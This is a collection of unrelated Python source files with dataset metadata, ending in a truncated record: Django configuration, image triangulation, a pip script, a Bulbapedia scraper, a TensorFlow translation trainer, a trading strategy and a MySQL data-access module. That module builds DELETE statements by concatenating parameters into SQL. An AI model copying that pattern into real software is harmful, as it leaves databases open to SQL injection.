| 2021-05-18T17:20:33
| 2021-05-18T17:20:33
| 312,047,414
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 417
|
py
|
"""
ASGI config for inventory_management project.
It exposes the ASGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/howto/deployment/asgi/
"""
import os
from django.core.asgi import get_asgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'inventory_management.settings')
application = get_asgi_application()
|
[
"juhmer@att.net"
] |
juhmer@att.net
|
6fec8e66ce7ddf8bd9eb0f5a5b77d364836c201c
|
a427d06cf7d3f3ba800c67a7fbbb5cfa18228277
|
/code/delaunay_triangulation.py
|
47271b7b7516ad4dcfed59b0b9649bc74ab447cc
|
[] |
no_license
|
provostm/face-morphing-multiple-images
|
2c28ffb9be67754bd81eb8892c994f2573bb59d4
|
c27b75955070fc0cf7180155caec1f8d89466eff
|
refs/heads/main
| 2023-04-29T17:45:14.051586
| 2021-05-14T08:19:35
| 2021-05-14T08:19:35
| 364,964,229
| 6
| 2
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,469
|
py
|
import cv2
import numpy as np
import random
# Check if a point is inside a rectangle
def rect_contains(rect, point):
if point[0] < rect[0]:
return False
elif point[1] < rect[1]:
return False
elif point[0] > rect[2]:
return False
elif point[1] > rect[3]:
return False
return True
# Write the delaunay triangles into a file
def draw_delaunay(f_w, f_h, subdiv, dictionary1):
list4 = []
triangleList = subdiv.getTriangleList()
r = (0, 0, f_w, f_h)
for t in triangleList :
pt1 = (int(t[0]), int(t[1]))
pt2 = (int(t[2]), int(t[3]))
pt3 = (int(t[4]), int(t[5]))
if rect_contains(r, pt1) and rect_contains(r, pt2) and rect_contains(r, pt3) :
list4.append((dictionary1[pt1],dictionary1[pt2],dictionary1[pt3]))
dictionary1 = {}
return list4
def make_delaunay(f_w, f_h, theList, img1, img2):
# Make a rectangle.
rect = (0, 0, f_w, f_h)
# Create an instance of Subdiv2D.
subdiv = cv2.Subdiv2D(rect)
# Make a points list and a searchable dictionary.
theList = theList.tolist()
points = [(int(x[0]),int(x[1])) for x in theList]
dictionary = {x[0]:x[1] for x in list(zip(points, range(76)))}
# Insert points into subdiv
for p in points :
subdiv.insert(p)
# Make a delaunay triangulation list.
list4 = draw_delaunay(f_w, f_h, subdiv, dictionary)
# Return the list.
return list4
|
[
"noreply@github.com"
] |
provostm.noreply@github.com
|
87617a12b17cbea5590cbf6c5d91692664f3372e
|
1919d5c4b6b48d1f03af1cda7a99195c533a5231
|
/venv/Scripts/pip3.6-script.py
|
b49da414338a332b622232ade90def3b29dee2ba
|
[] |
no_license
|
hyogwang/python-ch2.1
|
1b2897a2c611ff837022bf98f4a492c10997e274
|
bfdd6a575417e50e0618d0d847cb942ad165a404
|
refs/heads/master
| 2020-04-10T16:05:01.251228
| 2018-12-10T07:10:21
| 2018-12-10T07:10:21
| 161,132,546
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 411
|
py
|
#!D:\java-Bigdata2018\python-ch2.1\venv\Scripts\python.exe
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==10.0.1','console_scripts','pip3.6'
__requires__ = 'pip==10.0.1'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(
load_entry_point('pip==10.0.1', 'console_scripts', 'pip3.6')()
)
|
[
"gyrhkd0707@naver.com"
] |
gyrhkd0707@naver.com
|
f6e423c43d76255ddcd6b9bea7d77bc5f79eb1bc
|
1f2e7e09da7c0c5170b2822f8c1973ab44dd4ddd
|
/main.py
|
7851517a82a78db70cf9676d0647e2f6a8caab5c
|
[] |
no_license
|
SecT/BulbapediaApp
|
f6eb83c4bd5b918ea027f29ee6fa2a03ef80c49c
|
af613f8deb79a51019d68b8a5fba7f60c44e02b6
|
refs/heads/master
| 2021-03-12T23:18:08.672731
| 2015-04-09T05:13:14
| 2015-04-09T05:13:14
| 33,439,856
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,933
|
py
|
__author__ = 'Grzesiek'
import urllib.request
from MyHTMLParser import MyHTMLParser
#page - A Pokemon page from Bulbapedia in the HTML format
#If the Pokemon has egg moves that can only be learned from a Pokemon from generation III, IV or V, return a link to its page
def checkEggMovesFromPrevGeneration(page):
#'‡' means that an egg move needs to bred from a pokemon that learned it in old generation game
#each pokemon page has one occurence of '‡', so a pokemon that has egg moves kind we seek will have at least two '‡' on their page
if page.decode('utf-8').count("‡") > 1:
return link
return False
#Returns a list of partial URLs to all Pokemon pages from Bulbapedia.
#Sample element: "/wiki/Charmander_(Pok%C3%A9mon)"
#The elements are ordered according to National Pokedex number
#The list is obtained from http://bulbapedia.bulbagarden.net/wiki/List_of_Pok%C3%A9mon_by_National_Pok%C3%A9dex_number
def getListOfPokemonPages():
pokemonListAddress = "http://bulbapedia.bulbagarden.net/wiki/List_of_Pok%C3%A9mon_by_National_Pok%C3%A9dex_number"
pokeListResponse = urllib.request.urlopen(pokemonListAddress)
pokeListPage = str(pokeListResponse.read())
parser = MyHTMLParser()
parser.feed(pokeListPage)
baseBulbapediaAdress = "http://bulbapedia.bulbagarden.net"
for i, link in enumerate(parser.pokeListParser.pokemonURLs):
parser.pokeListParser.pokemonURLs[i] = baseBulbapediaAdress + link
return parser.pokeListParser.pokemonURLs
####################
listOfPokemonPages = getListOfPokemonPages()
print(listOfPokemonPages)
downloadedPagesLimit = len(listOfPokemonPages)
start = 0
for link in listOfPokemonPages[start:start+downloadedPagesLimit]:
response = urllib.request.urlopen(link)
page = response.read()
data = checkEggMovesFromPrevGeneration(page)
if data != False:
print("Found: " + data)
print("End")
|
[
"tajnyt@gmail.com"
] |
tajnyt@gmail.com
|
a94c546ce5e10b6984e88ebdd74e97894d421ffa
|
164ffe077dde59373ad9fadcfd727f279a1cfe93
|
/jni_build/jni/include/tensorflow/models/rnn/translate/translate.py
|
f4d520c0c22705fd3b1ce73335773dbcec18e132
|
[] |
no_license
|
Basofe/Community_Based_Repository_Traffic_Signs
|
524a4cfc77dc6ed3b279556e4201ba63ee8cf6bd
|
a20da440a21ed5160baae4d283c5880b8ba8e83c
|
refs/heads/master
| 2021-01-22T21:17:37.392145
| 2017-09-28T21:35:58
| 2017-09-28T21:35:58
| 85,407,197
| 0
| 2
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 12,897
|
py
|
# Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Binary for training translation models and decoding from them.
Running this program without --decode will download the WMT corpus into
the directory specified as --data_dir and tokenize it in a very basic way,
and then start training a model saving checkpoints to --train_dir.
Running with --decode starts an interactive loop so you can see how
the current checkpoint translates English sentences into French.
See the following papers for more information on neural translation models.
* http://arxiv.org/abs/1409.3215
* http://arxiv.org/abs/1409.0473
* http://arxiv.org/abs/1412.2007
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import math
import os
import random
import sys
import time
import numpy as np
from six.moves import xrange # pylint: disable=redefined-builtin
import tensorflow as tf
from tensorflow.models.rnn.translate import data_utils
from tensorflow.models.rnn.translate import seq2seq_model
tf.app.flags.DEFINE_float("learning_rate", 0.5, "Learning rate.")
tf.app.flags.DEFINE_float("learning_rate_decay_factor", 0.99,
"Learning rate decays by this much.")
tf.app.flags.DEFINE_float("max_gradient_norm", 5.0,
"Clip gradients to this norm.")
tf.app.flags.DEFINE_integer("batch_size", 64,
"Batch size to use during training.")
tf.app.flags.DEFINE_integer("size", 1024, "Size of each model layer.")
tf.app.flags.DEFINE_integer("num_layers", 3, "Number of layers in the model.")
tf.app.flags.DEFINE_integer("en_vocab_size", 40000, "English vocabulary size.")
tf.app.flags.DEFINE_integer("fr_vocab_size", 40000, "French vocabulary size.")
tf.app.flags.DEFINE_string("data_dir", "/tmp", "Data directory")
tf.app.flags.DEFINE_string("train_dir", "/tmp", "Training directory.")
tf.app.flags.DEFINE_integer("max_train_data_size", 0,
"Limit on the size of training data (0: no limit).")
tf.app.flags.DEFINE_integer("steps_per_checkpoint", 200,
"How many training steps to do per checkpoint.")
tf.app.flags.DEFINE_boolean("decode", False,
"Set to True for interactive decoding.")
tf.app.flags.DEFINE_boolean("self_test", False,
"Run a self-test if this is set to True.")
FLAGS = tf.app.flags.FLAGS
# We use a number of buckets and pad to the closest one for efficiency.
# See seq2seq_model.Seq2SeqModel for details of how they work.
_buckets = [(5, 10), (10, 15), (20, 25), (40, 50)]
def read_data(source_path, target_path, max_size=None):
"""Read data from source and target files and put into buckets.
Args:
source_path: path to the files with token-ids for the source language.
target_path: path to the file with token-ids for the target language;
it must be aligned with the source file: n-th line contains the desired
output for n-th line from the source_path.
max_size: maximum number of lines to read, all other will be ignored;
if 0 or None, data files will be read completely (no limit).
Returns:
data_set: a list of length len(_buckets); data_set[n] contains a list of
(source, target) pairs read from the provided data files that fit
into the n-th bucket, i.e., such that len(source) < _buckets[n][0] and
len(target) < _buckets[n][1]; source and target are lists of token-ids.
"""
data_set = [[] for _ in _buckets]
with tf.gfile.GFile(source_path, mode="r") as source_file:
with tf.gfile.GFile(target_path, mode="r") as target_file:
source, target = source_file.readline(), target_file.readline()
counter = 0
while source and target and (not max_size or counter < max_size):
counter += 1
if counter % 100000 == 0:
print(" reading data line %d" % counter)
sys.stdout.flush()
source_ids = [int(x) for x in source.split()]
target_ids = [int(x) for x in target.split()]
target_ids.append(data_utils.EOS_ID)
for bucket_id, (source_size, target_size) in enumerate(_buckets):
if len(source_ids) < source_size and len(target_ids) < target_size:
data_set[bucket_id].append([source_ids, target_ids])
break
source, target = source_file.readline(), target_file.readline()
return data_set
def create_model(session, forward_only):
"""Create translation model and initialize or load parameters in session."""
model = seq2seq_model.Seq2SeqModel(
FLAGS.en_vocab_size, FLAGS.fr_vocab_size, _buckets,
FLAGS.size, FLAGS.num_layers, FLAGS.max_gradient_norm, FLAGS.batch_size,
FLAGS.learning_rate, FLAGS.learning_rate_decay_factor,
forward_only=forward_only)
ckpt = tf.train.get_checkpoint_state(FLAGS.train_dir)
if ckpt and tf.gfile.Exists(ckpt.model_checkpoint_path):
print("Reading model parameters from %s" % ckpt.model_checkpoint_path)
model.saver.restore(session, ckpt.model_checkpoint_path)
else:
print("Created model with fresh parameters.")
session.run(tf.initialize_all_variables())
return model
def train():
"""Train a en->fr translation model using WMT data."""
# Prepare WMT data.
print("Preparing WMT data in %s" % FLAGS.data_dir)
en_train, fr_train, en_dev, fr_dev, _, _ = data_utils.prepare_wmt_data(
FLAGS.data_dir, FLAGS.en_vocab_size, FLAGS.fr_vocab_size)
with tf.Session() as sess:
# Create model.
print("Creating %d layers of %d units." % (FLAGS.num_layers, FLAGS.size))
model = create_model(sess, False)
# Read data into buckets and compute their sizes.
print ("Reading development and training data (limit: %d)."
% FLAGS.max_train_data_size)
dev_set = read_data(en_dev, fr_dev)
train_set = read_data(en_train, fr_train, FLAGS.max_train_data_size)
train_bucket_sizes = [len(train_set[b]) for b in xrange(len(_buckets))]
train_total_size = float(sum(train_bucket_sizes))
# A bucket scale is a list of increasing numbers from 0 to 1 that we'll use
# to select a bucket. Length of [scale[i], scale[i+1]] is proportional to
# the size if i-th training bucket, as used later.
train_buckets_scale = [sum(train_bucket_sizes[:i + 1]) / train_total_size
for i in xrange(len(train_bucket_sizes))]
# This is the training loop.
step_time, loss = 0.0, 0.0
current_step = 0
previous_losses = []
while True:
# Choose a bucket according to data distribution. We pick a random number
# in [0, 1] and use the corresponding interval in train_buckets_scale.
random_number_01 = np.random.random_sample()
bucket_id = min([i for i in xrange(len(train_buckets_scale))
if train_buckets_scale[i] > random_number_01])
# Get a batch and make a step.
start_time = time.time()
encoder_inputs, decoder_inputs, target_weights = model.get_batch(
train_set, bucket_id)
_, step_loss, _ = model.step(sess, encoder_inputs, decoder_inputs,
target_weights, bucket_id, False)
step_time += (time.time() - start_time) / FLAGS.steps_per_checkpoint
loss += step_loss / FLAGS.steps_per_checkpoint
current_step += 1
# Once in a while, we save checkpoint, print statistics, and run evals.
if current_step % FLAGS.steps_per_checkpoint == 0:
# Print statistics for the previous epoch.
perplexity = math.exp(loss) if loss < 300 else float('inf')
print ("global step %d learning rate %.4f step-time %.2f perplexity "
"%.2f" % (model.global_step.eval(), model.learning_rate.eval(),
step_time, perplexity))
# Decrease learning rate if no improvement was seen over last 3 times.
if len(previous_losses) > 2 and loss > max(previous_losses[-3:]):
sess.run(model.learning_rate_decay_op)
previous_losses.append(loss)
# Save checkpoint and zero timer and loss.
checkpoint_path = os.path.join(FLAGS.train_dir, "translate.ckpt")
model.saver.save(sess, checkpoint_path, global_step=model.global_step)
step_time, loss = 0.0, 0.0
# Run evals on development set and print their perplexity.
for bucket_id in xrange(len(_buckets)):
if len(dev_set[bucket_id]) == 0:
print(" eval: empty bucket %d" % (bucket_id))
continue
encoder_inputs, decoder_inputs, target_weights = model.get_batch(
dev_set, bucket_id)
_, eval_loss, _ = model.step(sess, encoder_inputs, decoder_inputs,
target_weights, bucket_id, True)
eval_ppx = math.exp(eval_loss) if eval_loss < 300 else float('inf')
print(" eval: bucket %d perplexity %.2f" % (bucket_id, eval_ppx))
sys.stdout.flush()
def decode():
with tf.Session() as sess:
# Create model and load parameters.
model = create_model(sess, True)
model.batch_size = 1 # We decode one sentence at a time.
# Load vocabularies.
en_vocab_path = os.path.join(FLAGS.data_dir,
"vocab%d.en" % FLAGS.en_vocab_size)
fr_vocab_path = os.path.join(FLAGS.data_dir,
"vocab%d.fr" % FLAGS.fr_vocab_size)
en_vocab, _ = data_utils.initialize_vocabulary(en_vocab_path)
_, rev_fr_vocab = data_utils.initialize_vocabulary(fr_vocab_path)
# Decode from standard input.
sys.stdout.write("> ")
sys.stdout.flush()
sentence = sys.stdin.readline()
while sentence:
# Get token-ids for the input sentence.
token_ids = data_utils.sentence_to_token_ids(tf.compat.as_bytes(sentence), en_vocab)
# Which bucket does it belong to?
bucket_id = min([b for b in xrange(len(_buckets))
if _buckets[b][0] > len(token_ids)])
# Get a 1-element batch to feed the sentence to the model.
encoder_inputs, decoder_inputs, target_weights = model.get_batch(
{bucket_id: [(token_ids, [])]}, bucket_id)
# Get output logits for the sentence.
_, _, output_logits = model.step(sess, encoder_inputs, decoder_inputs,
target_weights, bucket_id, True)
# This is a greedy decoder - outputs are just argmaxes of output_logits.
outputs = [int(np.argmax(logit, axis=1)) for logit in output_logits]
# If there is an EOS symbol in outputs, cut them at that point.
if data_utils.EOS_ID in outputs:
outputs = outputs[:outputs.index(data_utils.EOS_ID)]
# Print out French sentence corresponding to outputs.
print(" ".join([tf.compat.as_str(rev_fr_vocab[output]) for output in outputs]))
print("> ", end="")
sys.stdout.flush()
sentence = sys.stdin.readline()
def self_test():
"""Test the translation model."""
with tf.Session() as sess:
print("Self-test for neural translation model.")
# Create model with vocabularies of 10, 2 small buckets, 2 layers of 32.
model = seq2seq_model.Seq2SeqModel(10, 10, [(3, 3), (6, 6)], 32, 2,
5.0, 32, 0.3, 0.99, num_samples=8)
sess.run(tf.initialize_all_variables())
# Fake data set for both the (3, 3) and (6, 6) bucket.
data_set = ([([1, 1], [2, 2]), ([3, 3], [4]), ([5], [6])],
[([1, 1, 1, 1, 1], [2, 2, 2, 2, 2]), ([3, 3, 3], [5, 6])])
for _ in xrange(5): # Train the fake model for 5 steps.
bucket_id = random.choice([0, 1])
encoder_inputs, decoder_inputs, target_weights = model.get_batch(
data_set, bucket_id)
model.step(sess, encoder_inputs, decoder_inputs, target_weights,
bucket_id, False)
def main(_):
if FLAGS.self_test:
self_test()
elif FLAGS.decode:
decode()
else:
train()
if __name__ == "__main__":
tf.app.run()
|
[
"helder_m_p_novais@hotmail.com"
] |
helder_m_p_novais@hotmail.com
|
06efe34aecab940dccf0f04a5ec3eb473f137ff1
|
e4e98878d3d20a1e30bcd5e11b8754dad0705e17
|
/step4/hty/count_letters.py
|
ea4c66da6d7b73c85696e350248eab279f7a41a2
|
[] |
no_license
|
tripitakas/py-sandbox
|
334c37f6b50aa1237b52fef83f246e58c2d08d88
|
90767eb242bc9fbe41c83c1f7f93d545379f1b61
|
refs/heads/master
| 2020-03-31T20:32:56.062561
| 2019-02-27T07:42:12
| 2019-02-27T07:42:12
| 152,545,183
| 1
| 1
| null | 2018-10-16T03:31:44
| 2018-10-11T06:54:17
|
Python
|
UTF-8
|
Python
| false
| false
| 308
|
py
|
# count the number of 'a' that appear in the string name
import string
def counter(name,letter):
# count the # of letter in name
number = 0
for i in name:
if i==letter:
number = number + 1
return number
name = "aabcdaefa"
letter = 'a'
a = counter(name,letter)
print(a)
|
[
"htyota@126.com"
] |
htyota@126.com
|
2cfa3ec0da9efec3a17974c690beb904d233950f
|
eaf50f7123fc451b1dc5f57500c69e7f827ecb4b
|
/strategy/sma_pip.py
|
c044f4f761ada857827f3c3b555f637ce671b982
|
[] |
no_license
|
tsu-nera/oanda-forex-study
|
bca5f3f9916c42bedc27407d86e7650d524bb552
|
4e91522ca66fb7ca26a796aca7f26f525ca1dc8a
|
refs/heads/master
| 2020-03-26T23:18:34.075116
| 2017-03-28T02:55:13
| 2017-03-28T02:55:13
| 39,285,423
| 24
| 4
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,075
|
py
|
from strategy.sma import SMA
from strategy.pip import PIP
from strategy.time import Time
class SMAPIP(SMA, PIP, Time):
def __init__(self, status):
SMA.__init__(self, status)
PIP.__init__(self, status)
def calc_indicator(self, timeseries, event):
self.calc_sma(timeseries, event)
self.calc_pip_over_closs(timeseries, event)
self.calc_pip_mean(timeseries, event)
def buy_condition(self):
return self.sma_buy_condition()
def close_buy_condition(self, event):
return self.pip_expand_close_condition(event) \
or self.pip_over_cross_condiiton(event) \
or self.pip_loss_cut_condition(event) \
and not self.time_guard_condition(event)
def sell_condition(self):
return self.sma_sell_condition()
def close_sell_condition(self, event):
return self.pip_expand_close_condition(event) \
or self.pip_over_cross_condiiton(event) \
or self.pip_loss_cut_condition(event) \
and not self.time_guard_condition(event)
|
[
"fox10225fox@gmail.com"
] |
fox10225fox@gmail.com
|
b4fa9235e68169033353c5dee726262a8e5e86b9
|
326134183432e048ea52d068d7171502ac5c58e4
|
/database/dbLBO.py
|
1bfe95ddd64977a752c099cbfbfd39e73015118e
|
[] |
no_license
|
changliukean/KEAN3
|
e31424fef197789cf186b28716d9b3ec777ac07c
|
901aebd0760a77097c01be76e4390223b94cc8dc
|
refs/heads/master
| 2022-11-22T17:24:04.532735
| 2020-07-29T14:02:28
| 2020-07-29T14:02:28
| 283,514,130
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 11,163
|
py
|
import mysql.connector
from database.dbGeneral import HOST,USER,PASSWORD,DATABASE, PROD_DATABASE, config_connection
from sqlalchemy import create_engine
import pandas as pd
from datetime import datetime, date
def put_financials_lbo(ready_to_kean_lbo_financials_df, portfolio, scenario, version, overwrite_option=False):
if overwrite_option:
connection_instance = config_connection(HOST, USER, PASSWORD, DATABASE)
delete_sql_statment = """
DELETE FROM financials_lbo
where
portfolio = '""" + portfolio + """'
and
scenario = '""" + scenario + """'
and
version = '""" + version + """';
"""
cursor = connection_instance.cursor()
cursor.execute(delete_sql_statment)
connection_instance.commit()
connection_instance.close()
engine_str = 'mysql+mysqlconnector://' + USER + ':' + PASSWORD + '@' + HOST + '/' + DATABASE
engine = create_engine(engine_str, encoding='latin1', echo=True)
# prices_df.to_sql(name='prices', con=engine, if_exists='append', index=False)
step = 3000
current_index = 0
while current_index + step < len(ready_to_kean_lbo_financials_df):
ready_to_kean_lbo_financials_df.iloc[current_index:current_index+step].to_sql(name='financials_lbo', con=engine, if_exists='append', index=False)
current_index += step
ready_to_kean_lbo_financials_df.iloc[current_index:].to_sql(name='financials_lbo', con=engine, if_exists='append', index=False)
def get_financials_lbo(portfolio, scenario, version):
connection_instance = config_connection(HOST, USER, PASSWORD, DATABASE)
sql_statement = """
SELECT * FROM financials_lbo
where
portfolio = %s
and
scenario = %s
and
version = %s;
"""
lbo_financials_df = pd.read_sql(sql_statement, connection_instance, params=[portfolio, scenario, version])
connection_instance.close()
return lbo_financials_df
def put_powerplants(ready_to_kean_pp_df, portfolio=None, overwrite_option=False):
connection_instance = config_connection(HOST, USER, PASSWORD, DATABASE)
if portfolio is not None and overwrite_option:
print ("============================== herer?")
sql_statement = " delete from powerplant where name in (select distinct entity_name from portfolio where name = %s and entity_type = 'plant');"
print (sql_statement, portfolio)
cursor = connection_instance.cursor()
cursor.execute(sql_statement, params=[portfolio])
connection_instance.commit()
connection_instance.close()
engine_str = 'mysql+mysqlconnector://' + USER + ':' + PASSWORD + '@' + HOST + '/' + DATABASE
engine = create_engine(engine_str, encoding='latin1', echo=True)
ready_to_kean_pp_df.to_sql(name='powerplant', con=engine, if_exists='append', index=False)
def put_powerplant(ready_to_kean_pp_df, id_powerplant=[]):
connection_instance = config_connection(HOST, USER, PASSWORD, DATABASE)
engine_str = 'mysql+mysqlconnector://' + USER + ':' + PASSWORD + '@' + HOST + '/' + DATABASE
engine = create_engine(engine_str, encoding='latin1', echo=True)
if id_powerplant != [] and id_powerplant is not None:
sql_statement = """
delete from powerplant where id_powerplant in (""" + ", ".join(id_powerplant) + """ );
"""
cursor = connection_instance.cursor()
cursor.execute(sql_statement)
connection_instance.commit()
connection_instance.close()
ready_to_kean_pp_df.to_sql(name='powerplant', con=engine, if_exists='append', index=False)
def put_technology(ready_to_kean_tech_df):
connection_instance = config_connection(HOST, USER, PASSWORD, DATABASE)
delete_sql_statment = """
DELETE FROM technology;
"""
cursor = connection_instance.cursor()
cursor.execute(delete_sql_statment)
connection_instance.commit()
connection_instance.close()
engine_str = 'mysql+mysqlconnector://' + USER + ':' + PASSWORD + '@' + HOST + '/' + DATABASE
engine = create_engine(engine_str, encoding='latin1', echo=True)
ready_to_kean_tech_df.to_sql(name='technology', con=engine, if_exists='append', index=False)
def get_powerplants(effective_date=datetime.now().date()):
connection_instance = config_connection(HOST, USER, PASSWORD, DATABASE)
sql_statement = """
SELECT * FROM powerplant WHERE effective_start <= %s and effective_end >= %s;
"""
powerplants_df = pd.read_sql(sql_statement, connection_instance, params=[effective_date, effective_date])
connection_instance.close()
return powerplants_df
def get_powerplants_by_portfolio(portfolio, effective_date=datetime.now().date()):
connection_instance = config_connection(HOST, USER, PASSWORD, DATABASE)
sql_statement = """
SELECT * FROM powerplant WHERE effective_start <= %s and effective_end >= %s and name in (select distinct entity_name from portfolio where name = %s and entity_type='plant');
"""
powerplants_df = pd.read_sql(sql_statement, connection_instance, params=[effective_date, effective_date, portfolio])
connection_instance.close()
return powerplants_df
def get_powerplant(name, fuel_type, market, node, power_hub, effective_date=datetime.now().date()):
connection_instance = config_connection(HOST, USER, PASSWORD, DATABASE)
sql_statement = """
SELECT * FROM powerplant
where name = %s
and
fuel_type = %s
and
market = %s
and
node = %s
and
power_hub = %s
and
effective_start <= %s
and
effective_end >= %s
;
"""
powerplant_df = pd.read_sql(sql_statement, connection_instance, params=[name, fuel_type, market, node, power_hub, effective_date, effective_date])
connection_instance.close()
return powerplant_df
def get_technology(project):
connection_instance = config_connection(HOST, USER, PASSWORD, DATABASE)
sql_statement = """
SELECT * FROM technology where project = %s;
"""
technology_df = pd.read_sql(sql_statement, connection_instance, params=[project])
connection_instance.close()
return technology_df
def get_portfolio_with_powerplant(portfolio_name):
connection_instance = config_connection(HOST, USER, PASSWORD, DATABASE)
sql_statement = """ select
a.name as portfolio_name,
a.entity_name as powerplant_name,
b.technology as technology_name,
b.fuel_type as fuel_type,
b.market as market,
b.power_hub as power_hub,
b.power_zone as power_zone,
b.power_hub_on_peak as power_hub_on_peak,
b.power_hub_off_peak as power_hub_off_peak,
b.node as node,
b.fuel_zone as fuel_zone,
b.fuel_hub as fuel_hub,
b.summer_fuel_basis as summer_fuel_basis,
b.winter_fuel_basis as winter_fuel_basis,
b.summer_duct_capacity as summer_duct_capacity,
b.summer_base_capacity as summer_base_capacity,
b.winter_duct_capacity as winter_duct_capacity,
b.winter_base_capacity as winter_base_capacity,
b.first_plan_outage_start as first_plan_outage_start,
b.first_plan_outage_end as first_plan_outage_end,
b.second_plan_outage_start as second_plan_outage_start,
b.second_plan_outage_end as second_plan_outage_end,
b.carbon_cost as carbon_cost,
b.source_notes as source_notes,
b.retirement_date as retirement_date,
b.ownership as ownership
from
(select * from portfolio where name = %s and entity_type='plant' ) as a
left join
(select * from powerplant ) as b
on a.entity_name = b.name
where b.effective_start <= CURDATE() and b.effective_end >= CURDATE(); """
portfolio_with_powerplant_df = pd.read_sql(sql_statement, connection_instance, params=[portfolio_name])
connection_instance.close()
return portfolio_with_powerplant_df
def put_lbo_assumptions(ready_to_kean_lbo_assumptions_df, portfolio, scenario, version, overwrite_option=False):
if overwrite_option:
connection_instance = config_connection(HOST, USER, PASSWORD, DATABASE)
delete_sql_statment = """
DELETE FROM lbo_assumptions
where
portfolio = '""" + portfolio + """'
and
scenario = '""" + scenario + """'
and
version = '""" + version + """';
"""
cursor = connection_instance.cursor()
cursor.execute(delete_sql_statment)
connection_instance.commit()
connection_instance.close()
engine_str = 'mysql+mysqlconnector://' + USER + ':' + PASSWORD + '@' + HOST + '/' + DATABASE
engine = create_engine(engine_str, encoding='latin1', echo=True)
index = 0
step = 3000
while index+step < len(ready_to_kean_lbo_assumptions_df):
ready_to_kean_lbo_assumptions_df.iloc[index:index+step].to_sql(name='lbo_assumptions', con=engine, if_exists='append', index=False)
index += step
ready_to_kean_lbo_assumptions_df.iloc[index:].to_sql(name='lbo_assumptions', con=engine, if_exists='append', index=False)
def get_lbo_assumptions(portfolio, scenario, version):
connection_instance = config_connection(HOST, USER, PASSWORD, DATABASE)
sql_statement = """
SELECT * FROM lbo_assumptions
where
portfolio = %s
and
scenario = %s
and
version = %s;
"""
lbo_assumptions_df = pd.read_sql(sql_statement, connection_instance, params=[portfolio, scenario, version])
connection_instance.close()
return lbo_assumptions_df
# #
|
[
"chang.liu@kindle-energy.com"
] |
chang.liu@kindle-energy.com
|
fc263864b6b6136e29306ace880d8511554ae362
|
e36225e61d95adfabfd4ac3111ec7631d9efadb7
|
/problems/CR/auto/problem364_CR.py
|
5c3036b1d61c050db67aa10b2c0fa6a6dc5e067f
|
[
"BSD-3-Clause"
] |
permissive
|
sunandita/ICAPS_Summer_School_RAE_2020
|
d2ab6be94ac508e227624040283e8cc6a37651f1
|
a496b62185bcfdd2c76eb7986ae99cfa85708d28
|
refs/heads/main
| 2023-01-01T02:06:40.848068
| 2020-10-15T17:25:01
| 2020-10-15T17:25:01
| 301,263,711
| 5
| 2
|
BSD-3-Clause
| 2020-10-15T17:25:03
| 2020-10-05T01:24:08
|
Python
|
UTF-8
|
Python
| false
| false
| 995
|
py
|
__author__ = 'patras'
from domain_chargeableRobot import *
from timer import DURATION
from state import state
DURATION.TIME = {
'put': 2,
'take': 2,
'perceive': 2,
'charge': 2,
'move': 2,
'moveToEmergency': 2,
'moveCharger': 2,
'addressEmergency': 2,
'wait': 2,
}
DURATION.COUNTER = {
'put': 2,
'take': 2,
'perceive': 2,
'charge': 2,
'move': 2,
'moveToEmergency': 2,
'moveCharger': 2,
'addressEmergency': 2,
'wait': 2,
}
rv.LOCATIONS = [1, 2, 3, 4]
rv.EDGES = {1: [3], 2: [3], 3: [1, 2, 4], 4: [3]}
rv.OBJECTS=['o1']
rv.ROBOTS=['r1']
def ResetState():
state.loc = {'r1': 3}
state.charge = {'r1': 2}
state.load = {'r1': NIL}
state.pos = {'c1': 1, 'o1': UNK}
state.containers = { 1:[],2:[],3:[],4:['o1'],}
state.emergencyHandling = {'r1': False, 'r2': False}
state.view = {}
for l in rv.LOCATIONS:
state.view[l] = False
tasks = {
5: [['fetch', 'r1', 'o1']],
}
eventsEnv = {
}
|
[
"sunandita.patra@gmail.com"
] |
sunandita.patra@gmail.com
|
f3b3b99f471356a9bd773f46d39279f8096799a5
|
f5ad399fa107e70c5536e92f37b34f293f3a2b6f
|
/todo/urls.py
|
e4a52881bba20a943af730f9a8c91bfbe6b19ed1
|
[] |
no_license
|
idrissabanli/todo_project_deployment
|
52455961b5faa3662e2c77ccebbaff1b953e6ef4
|
5749a2b7781f02b573925875d665953076efbd26
|
refs/heads/master
| 2022-12-11T00:55:17.170742
| 2020-03-23T21:32:45
| 2020-03-23T21:32:45
| 236,942,812
| 0
| 0
| null | 2020-01-29T09:29:21
| 2020-01-29T09:12:19
| null |
UTF-8
|
Python
| false
| false
| 353
|
py
|
from django.urls import path
from .views import TaskList, CreateTaskView, UserViewSet
from .routers import router
app_name = 'todo'
urlpatterns = [
# path('content/', content, name='content')
path('tasks/', TaskList.as_view(), name='tasks'),
path('create-task/', CreateTaskView.as_view(), name='create_task'),
]
urlpatterns += router.urls
|
[
"idris@labrin.net"
] |
idris@labrin.net
|
a21c574edd0040ab6cedf413f945d50093942c45
|
5963c12367490ffc01c9905c028d1d5480078dec
|
/tests/components/script/test_blueprint.py
|
1c02a35792bed800ab07d92e612b3174fa576518
|
[
"Apache-2.0"
] |
permissive
|
BenWoodford/home-assistant
|
eb03f73165d11935e8d6a9756272014267d7d66a
|
2fee32fce03bc49e86cf2e7b741a15621a97cce5
|
refs/heads/dev
| 2023-03-05T06:13:30.354545
| 2021-07-18T09:51:53
